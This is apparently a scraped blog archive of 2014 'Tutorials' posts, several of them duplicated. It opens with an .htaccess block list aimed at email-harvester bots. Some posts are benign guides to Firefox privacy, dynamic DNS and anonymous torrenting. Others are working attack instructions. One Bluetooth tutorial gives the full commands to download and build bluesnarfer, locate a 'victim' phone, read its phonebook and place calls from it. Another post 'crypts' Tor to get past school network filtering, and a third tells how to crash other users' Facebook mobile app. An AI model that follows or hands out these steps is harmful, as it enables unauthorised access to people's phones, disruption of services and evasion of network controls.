#protect htaccess file<Files .htaccess>
deny from all
</Files>
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mozilla.*NEWT [OR]
RewriteCond %{HTTP_USER_AGENT} ^Crescent [OR]
RewriteCond %{HTTP_USER_AGENT} ^CherryPicker [OR]
RewriteCond %{HTTP_USER_AGENT} ^[Ww]eb[Bb]andit [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebEMailExtrac.* [OR]
RewriteCond %{HTTP_USER_AGENT} ^NICErsPRO [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus.*Webster [OR]
RewriteCond %{HTTP_USER_AGENT} ^Microsoft.URL [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^LinkWalker [OR]
RewriteCond %{HTTP_USER_AGENT} ^sitecheck.internetseer.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [OR]
RewriteCond %{HTTP_USER_AGENT} ^DIIbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^psbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailCollector
RewriteCond %{HTTP_USER_AGENT} ^Anarchie [OR]
RewriteCond %{HTTP_USER_AGENT} ^ASPSeek [OR]
RewriteCond %{HTTP_USER_AGENT} ^attach [OR]
RewriteCond %{HTTP_USER_AGENT} ^autoemailspider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xenu [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus.*Webster [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule ^.*$ http://english-61925045732.spampoison.com [R,L]
Showing posts with label Tutorials. Show all posts
Showing posts with label Tutorials. Show all posts
Friday, October 3, 2014
How To Troll Email Harvesters On Your Sites
Want to stop email harvesters from gathering information on your website? This is a little trick I want to show you on how to basically troll email harvester programs into harvesting fake email addressed when they attempt to harvest from your website. Add the below code to your .htaccess file in your root directory of your websites and they will get random emails instead of the ones on your website.
Thursday, September 25, 2014
How To Enhance Privacy And Security In Firefox
Do you want to take the next step in protecting your privacy while browsing the web? Using the Firefox Open Source browser you can accomplish your security and privacy goals. With this guide I will show you how to keep your data private and stay secure online.
Firefox was designed to be a extremely customizable web browser. It will allow you to tune nearly every aspect of your browsing experience. We shall start with the configuration inside of Firefox itself. Type about:config into the address bar and push enter. You will see this:
First we will focus on a preference called network.http.sendRefererHeader. The value by default is 2, this is bad for privacy because it will show where you are coming from because it stores habits. This is mainly used by advertisers to generate better focused ads. To disable this setting you will need to navigate to network.http.sendRefererHeader by copying and pasting it into your search bar. Double click the integer and set the number to 0 like so:
The next thing we will focus on is the privacy options built in. Go to the options menu, then go to privacy and follow these settings to ensure you are not tracked.
Now we will focus on search engines now that your browser won't be tracking you. Search engines will track what you do as well.
StartPage - A is a search engine that was launched in 2009 by Ixquick and is the worlds most private search engine. They provide results from Google without giving up your identity or habits, keep no logs and are based offshore in The Netherlands. They support these methods of encryption:
StartPage uses POST requests instead of GET requests to give your your results by default which even if you have referrer headers enabled, it would prevent sites from knowing your search queries. StartPage also allows you to connect and search from servers outside of your country to separate yourself from the Government.
DuckDuckGo - Another alternative to Google and is similar in policies as StartPage as their privacy policy states they never keep logs. The difference between StartPage and DuckDuckGo is this search engine provides results from other places besides Google such as Wikipedia, Wolfram Alpha, Bing, Yahoo, Yandex, and Yelp.
Add-ons can help you lock down on the above settings, and really fine tune your privacy. Here is a list of recommended Add-ons.
1. NoScript is one of the most recommended security addons for Firefox. It prevents Javascript, Flash, Silverlight, and many others from running. This protects you from malicious scripts or any plug-ins can reveal your IP address. We advise that you Forbid Scripts Globally after installation and then whitelist the sites you frequently browse.
2. Self-Destructing Cookies detects and deleted cookies when they are no longer in use. When you install it the addon will automtaically delete all of your cokkies, but you can undelete them as needed as well as whitelist cookies you know you will need. Basically this addon will ensure that you only have the cookies you want, and not the ones that you do not wish to have.
3. Better Privacy is an addon that will clear your cache when idle and will elimitate the threat of Supercookies or Evercookies which are hard to get rid of and detect such as Flash cookies.
4. HTTPS Everywhere basically forces HHTPS on every site that has it, preventing MitM attacks.
5. Disconnect is a add-on that blocks over 2,000 sites from tracking you around the internet, helping increase bandwidth loss and load times, as well as remaining more private.
6. Adblock Edge is a fork of Adblock Plus that blocks ads that Adblock Plus allows by default.
7. LastPass is a password manager that help you remain secure online, you only need to remember your master password and the rest can be generated. Lastpass also has 2 factor authentication, and can preform security audits of all of your accounts to tell you if the site you were registered with has been hacked, and it can help recommend a course of action.
8. Ghostery detects trackers, bugs and more on many websites and will show you what is going on under the hood. While you will not need this if you have noscripts enabled for every site, it is good for detecting what is on your whitelisted websites so you know what they are tracking.
Configuration
Firefox was designed to be a extremely customizable web browser. It will allow you to tune nearly every aspect of your browsing experience. We shall start with the configuration inside of Firefox itself. Type about:config into the address bar and push enter. You will see this:
First we will focus on a preference called network.http.sendRefererHeader. The value by default is 2, this is bad for privacy because it will show where you are coming from because it stores habits. This is mainly used by advertisers to generate better focused ads. To disable this setting you will need to navigate to network.http.sendRefererHeader by copying and pasting it into your search bar. Double click the integer and set the number to 0 like so:
The next thing we will focus on is the privacy options built in. Go to the options menu, then go to privacy and follow these settings to ensure you are not tracked.
Web Browsers
Now we will focus on search engines now that your browser won't be tracking you. Search engines will track what you do as well.
StartPage - A is a search engine that was launched in 2009 by Ixquick and is the worlds most private search engine. They provide results from Google without giving up your identity or habits, keep no logs and are based offshore in The Netherlands. They support these methods of encryption:
- TLS
- SSLv3
- TLS1.1
- TLS1.2
StartPage uses POST requests instead of GET requests to give your your results by default which even if you have referrer headers enabled, it would prevent sites from knowing your search queries. StartPage also allows you to connect and search from servers outside of your country to separate yourself from the Government.
DuckDuckGo - Another alternative to Google and is similar in policies as StartPage as their privacy policy states they never keep logs. The difference between StartPage and DuckDuckGo is this search engine provides results from other places besides Google such as Wikipedia, Wolfram Alpha, Bing, Yahoo, Yandex, and Yelp.
Add-Ons
Add-ons can help you lock down on the above settings, and really fine tune your privacy. Here is a list of recommended Add-ons.
- NoScript
- Self-Destructing Cookies
- Better Privacy
- HTTPS Everywhere
- Disconnect
- Adblock Edge
- Last Pass
- Ghostery
1. NoScript is one of the most recommended security addons for Firefox. It prevents Javascript, Flash, Silverlight, and many others from running. This protects you from malicious scripts or any plug-ins can reveal your IP address. We advise that you Forbid Scripts Globally after installation and then whitelist the sites you frequently browse.
2. Self-Destructing Cookies detects and deleted cookies when they are no longer in use. When you install it the addon will automtaically delete all of your cokkies, but you can undelete them as needed as well as whitelist cookies you know you will need. Basically this addon will ensure that you only have the cookies you want, and not the ones that you do not wish to have.
3. Better Privacy is an addon that will clear your cache when idle and will elimitate the threat of Supercookies or Evercookies which are hard to get rid of and detect such as Flash cookies.
4. HTTPS Everywhere basically forces HHTPS on every site that has it, preventing MitM attacks.
5. Disconnect is a add-on that blocks over 2,000 sites from tracking you around the internet, helping increase bandwidth loss and load times, as well as remaining more private.
6. Adblock Edge is a fork of Adblock Plus that blocks ads that Adblock Plus allows by default.
7. LastPass is a password manager that help you remain secure online, you only need to remember your master password and the rest can be generated. Lastpass also has 2 factor authentication, and can preform security audits of all of your accounts to tell you if the site you were registered with has been hacked, and it can help recommend a course of action.
8. Ghostery detects trackers, bugs and more on many websites and will show you what is going on under the hood. While you will not need this if you have noscripts enabled for every site, it is good for detecting what is on your whitelisted websites so you know what they are tracking.
Saturday, August 16, 2014
How To Hack Phones Bluetooth With Kali Linux And Backtrack
Do you want to learn how to hack a phone via Bluetooth using Kali Linux? The you have come to the right place. In this tutorial we will teach you how to hack any phone, whether it be Android, iPhone or Windows based phone using the power of Kali Linux aka backtrack and exploiting the Bluetooth connection of the phone itself.
Step 1. Install Bluesnarfer to your Linux machine using the CMD.
Open the opt directory
Make your way to the opt directory:
Download Bluesnarfer using wget
Open the directory again using the ls command and see if Bluesnarfer is there, then extract it.
To extract you will need to use the tar xvf command
open the directory again with ls to see bluesnarfer there.
Open the directory bluesnarfer created
Finish it off by compiling the install:
To see the Bluesnarfer commands run: ./bluesnarfer
Step 2: Now that Bluesnarfer is installed, configure rfcomm.
Now to scan for potential vulnerabilities:
Ping the victim to see if he is there:
Browse the victim for rfcomm channels to connect to:
Now Bluesnarfer is setup. Now you can access the victims phone to see texts, make phone calls etc.
To see available commands:
To dial a number:
This is what the Bluesnarfer shell should look like:
bluesnarfer, version 0.1 -
usage: bluesnarfer [options] [ATCMD] -b bt_addr
ATCMD : valid AT+CMD (GSM EXTENSION)
TYPE : valid phonebook type ..
example : "DC" (dialed call list)
"SM" (SIM phonebook)
"RC" (received call list)
"XX" much more
-b bdaddr : bluetooth device address
-C chan : bluetooth rfcomm channel
-c ATCMD : custom action
-r N-M : read phonebook entry N to M
-w N-M : delete phonebook entry N to M
-f name : search "name" in phonebook address
-s TYPE : select phonebook memory storage
-l : list aviable phonebook memory storage
-i : device info
Step 1. Install Bluesnarfer to your Linux machine using the CMD.
Open the opt directory
Make your way to the opt directory:
cd /opt
Download Bluesnarfer using wget
/opt# wget http://alighieri.org/tools/bluesnarfer.tar.gz
Open the directory again using the ls command and see if Bluesnarfer is there, then extract it.
:/opt# ls
bluesnarfer.tar.gz firmware-mod-kit metasploit Teeth
To extract you will need to use the tar xvf command
/opt# tar xvf bluesnarfer.tar.gz
open the directory again with ls to see bluesnarfer there.
/opt# ls
BFi13-dev-18 bluesnarfer.tar.gz metasploit
bluesnarfer firmware-mod-kit Teeth
Open the directory bluesnarfer created
/opt# cd bluesnarfer
/opt/bluesnarfer# ls
include Makefile README src
Finish it off by compiling the install:
/opt/bluesnarfer# make
To see the Bluesnarfer commands run: ./bluesnarfer
:/opt/bluesnarfer# ./bluesnarfer
Step 2: Now that Bluesnarfer is installed, configure rfcomm.
mkdir -p /dev/bluetooth/rfcomm
mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
mknod --mode=666 /dev/rfcomm0 c 216 0
hciconfig -i hci0 up
hciconfig hci0
Now to scan for potential vulnerabilities:
hcitool scan hci0
Ping the victim to see if he is there:
l2ping < victim mac addr>
Browse the victim for rfcomm channels to connect to:
sdptool browse --tree --l2cap < mac addr >
Now Bluesnarfer is setup. Now you can access the victims phone to see texts, make phone calls etc.
Bluesnarfer -r 1-100 -C 7 -b < mac addr >
To see available commands:
bluebugger -h
To dial a number:
bluebugger -m < victim's name > -c 7 -a < mac addr > Dial < number >
This is what the Bluesnarfer shell should look like:
bluesnarfer, version 0.1 -
usage: bluesnarfer [options] [ATCMD] -b bt_addr
ATCMD : valid AT+CMD (GSM EXTENSION)
TYPE : valid phonebook type ..
example : "DC" (dialed call list)
"SM" (SIM phonebook)
"RC" (received call list)
"XX" much more
-b bdaddr : bluetooth device address
-C chan : bluetooth rfcomm channel
-c ATCMD : custom action
-r N-M : read phonebook entry N to M
-w N-M : delete phonebook entry N to M
-f name : search "name" in phonebook address
-s TYPE : select phonebook memory storage
-l : list aviable phonebook memory storage
-i : device info
Thursday, August 14, 2014
How to setup a Dynamic DNS - An Alternative to no-IP
So you need a Dynamic DNS and No-IP just doesn't cut it due to their recent legal issues? You have heard that No-IP has been compromised and need an alternative. We have an alternative for you, and in this tutorial we will show you step by step on how to set it up.
First of all, you must understand what a Dynamic DNS is. Basically it points a subdomain to your IP address to redirect anything connected to your IP address even if it changes. IP addresses will inevitably change. You also can connect to the Dynamic DNS directly instead of your IP, so you can keep your IP address to yourself. You can use this for game servers, personal networking and RDPs etc. 2
How to setup FreeDNS:
Step 1: Sign up at: http://freedns.afraid.org/signup/
Enter your details and send your activation email. Then check your email and you can proceed to step 2.
Step 2: Click on Dynamic DNS.
It may ask you to login. Once you have logged in you will need to navigate to the "Subdomain" section of the menu as seen below.
Step 3. Fill out the form with a domain, and subdomain to go with it. This will be your Dynamic DNS.
Once you have chosen your information it should look like this:
Step 4. Download the wget installer HERE.
Step 5. Go back to Dynamic DNS and you will see the below page. Click on wget scripts and it will download a .bat which you will need for the next step.
Step 6. Run the .bat file whenever you need your Dynamic DNS and it will Sync. You should run this before doing anything requiring a DNS.
First of all, you must understand what a Dynamic DNS is. Basically it points a subdomain to your IP address to redirect anything connected to your IP address even if it changes. IP addresses will inevitably change. You also can connect to the Dynamic DNS directly instead of your IP, so you can keep your IP address to yourself. You can use this for game servers, personal networking and RDPs etc. 2
How to setup FreeDNS:
Step 1: Sign up at: http://freedns.afraid.org/signup/
Enter your details and send your activation email. Then check your email and you can proceed to step 2.
Step 2: Click on Dynamic DNS.
It may ask you to login. Once you have logged in you will need to navigate to the "Subdomain" section of the menu as seen below.
Step 3. Fill out the form with a domain, and subdomain to go with it. This will be your Dynamic DNS.
Once you have chosen your information it should look like this:
Step 4. Download the wget installer HERE.
Step 5. Go back to Dynamic DNS and you will see the below page. Click on wget scripts and it will download a .bat which you will need for the next step.
Step 6. Run the .bat file whenever you need your Dynamic DNS and it will Sync. You should run this before doing anything requiring a DNS.
Wednesday, August 13, 2014
Bypassing School Browsing Restrictions.
Does you college limit your search abilities? Do you want to visit Netflix, Facebook, Twitter or any other website on you schools network without being blocked? Then this tutorial is for you. This is a simple tutorial on how to bypass your schools browsing restrictions.
What You Will Need
When you run Tor on your school network it will normally say it is blocked. To keep your school network from detecting it we are going to use a program to hide it by means of encryption. all school program blocks are base on a MD5 checksum. Using an encryptor will change the MD5 checksum, and enable you to use Tor on your schools network.
All you have to do is crypt the Start Tor Browser.exe to change the MD5checksum value and now it should be able to be accessed without being blocked.
If you have issues then your network probably has a http or socks proxy for Internet access, if this is the case then the proxy settings also need to be set in the tor browser.
What You Will Need
- Tor
- A crypter Click here for a free crypter.
- A USB Stick
When you run Tor on your school network it will normally say it is blocked. To keep your school network from detecting it we are going to use a program to hide it by means of encryption. all school program blocks are base on a MD5 checksum. Using an encryptor will change the MD5 checksum, and enable you to use Tor on your schools network.
All you have to do is crypt the Start Tor Browser.exe to change the MD5checksum value and now it should be able to be accessed without being blocked.
If you have issues then your network probably has a http or socks proxy for Internet access, if this is the case then the proxy settings also need to be set in the tor browser.
How to crash all Facebook mobile users.
Step 1. Download: https://www.facebook.com/736151569751475
Step 2. Upload it to your timeline
Step 3. Make it your profile picture, as seen in the picture below.
Step 4. Go to your profile picture and rotate left, as seen in the picture below.
If you visit your timeline again it should be broken and no one can see it. If you go around messaging people, liking and commenting statuses people on the mobile messaging app will start crashing.
Step 5: How to fix your profile
Go to: http://www.facebook.com/yourusername/allactivity and remove the profile image
Step 2. Upload it to your timeline
Step 3. Make it your profile picture, as seen in the picture below.
Step 4. Go to your profile picture and rotate left, as seen in the picture below.
If you visit your timeline again it should be broken and no one can see it. If you go around messaging people, liking and commenting statuses people on the mobile messaging app will start crashing.
Step 5: How to fix your profile
Go to: http://www.facebook.com/yourusername/allactivity and remove the profile image
How to torrent anonymously
Index
Hello and welcome to my tutorial of how to torrent anonymously, as you may or may not know I sold an E-book with these methods for a while, and they are very successful. I am rewriting this tutorial so that you are aware of the ways you can remain safe. Firstly I want to start by saying download µTorrent I do not care for any other application, and I have used several different types.
Proxies
You can use a proxy to make your torrent traffic anonymous as it uses a different IP address for the download and seeding, or a series of ip addressed. I highly recommend Torguard. It is a paid proxy but it uses load balancing server proxies that switch between many different countries.
- See more at: https://torguard.net/anonymousbittorrentproxy.php#sthash.P86fObaV.dpuf
Check VPN and Proxies for torrents to see if they work here: http://ipleak.net/
Click activate and upload your torrent, it will respond with your torrent IP address.
A VPN or virtual private network will encrypt all of your internet traffic, including torrents. I recommend Torguard once again as your VPN, as they specialize in Torrenting privacy software. The difference between a proxy and a VPN is a proxy works with programs you configure, and a VPN encrypts your entire internet for the computer it is running on.
Seed Boxes
A seedbox is a server which you download and seed your torrents to and from, then you download them with ftp. For added protection use a vpn to hide your packets.
I only have one seedbox to talk about, I have used several, and this is the only one that gave me no issues. The seedbox is UnderLeech and you can get one for $16 a month. They accept Bitcoin for added security. It comes with a VPN setup so you can choose t0 download it from your secure encrypted as well.
- Introduction
- Proxies
- VPN's
- Seedboxes
Introduction
Hello and welcome to my tutorial of how to torrent anonymously, as you may or may not know I sold an E-book with these methods for a while, and they are very successful. I am rewriting this tutorial so that you are aware of the ways you can remain safe. Firstly I want to start by saying download µTorrent I do not care for any other application, and I have used several different types.
Proxies
You can use a proxy to make your torrent traffic anonymous as it uses a different IP address for the download and seeding, or a series of ip addressed. I highly recommend Torguard. It is a paid proxy but it uses load balancing server proxies that switch between many different countries.
Hide your IP address on Bittorrent with an Anonymous Torrent Proxy!
- Keep your torrent traffic 100% private from your ISP
- Automatically configure settings on Windows, Mac, Ubuntu
- Access 70+ Anonymous Proxy IP's in Four Different Countries
- Enjoy Unlimited Speeds/Bandwidth on gigabit+ connections
- Easy setup with Vuze, utorrent, bitorrent proxy walkthrough's
- Cancel your anonymous torrent proxy anytime - no penalty!
- Ensure your privacy with our FREE check my torrent ip tool
- UDP Supported on all socks5 Anonymous Proxy Servers
- See more at: https://torguard.net/anonymousbittorrentproxy.php#sthash.P86fObaV.dpuf
Check VPN and Proxies for torrents to see if they work here: http://ipleak.net/
Click activate and upload your torrent, it will respond with your torrent IP address.
VPN's
A VPN or virtual private network will encrypt all of your internet traffic, including torrents. I recommend Torguard once again as your VPN, as they specialize in Torrenting privacy software. The difference between a proxy and a VPN is a proxy works with programs you configure, and a VPN encrypts your entire internet for the computer it is running on.
Seed Boxes
A seedbox is a server which you download and seed your torrents to and from, then you download them with ftp. For added protection use a vpn to hide your packets.
I only have one seedbox to talk about, I have used several, and this is the only one that gave me no issues. The seedbox is UnderLeech and you can get one for $16 a month. They accept Bitcoin for added security. It comes with a VPN setup so you can choose t0 download it from your secure encrypted as well.
Subscribe to:
Posts (Atom)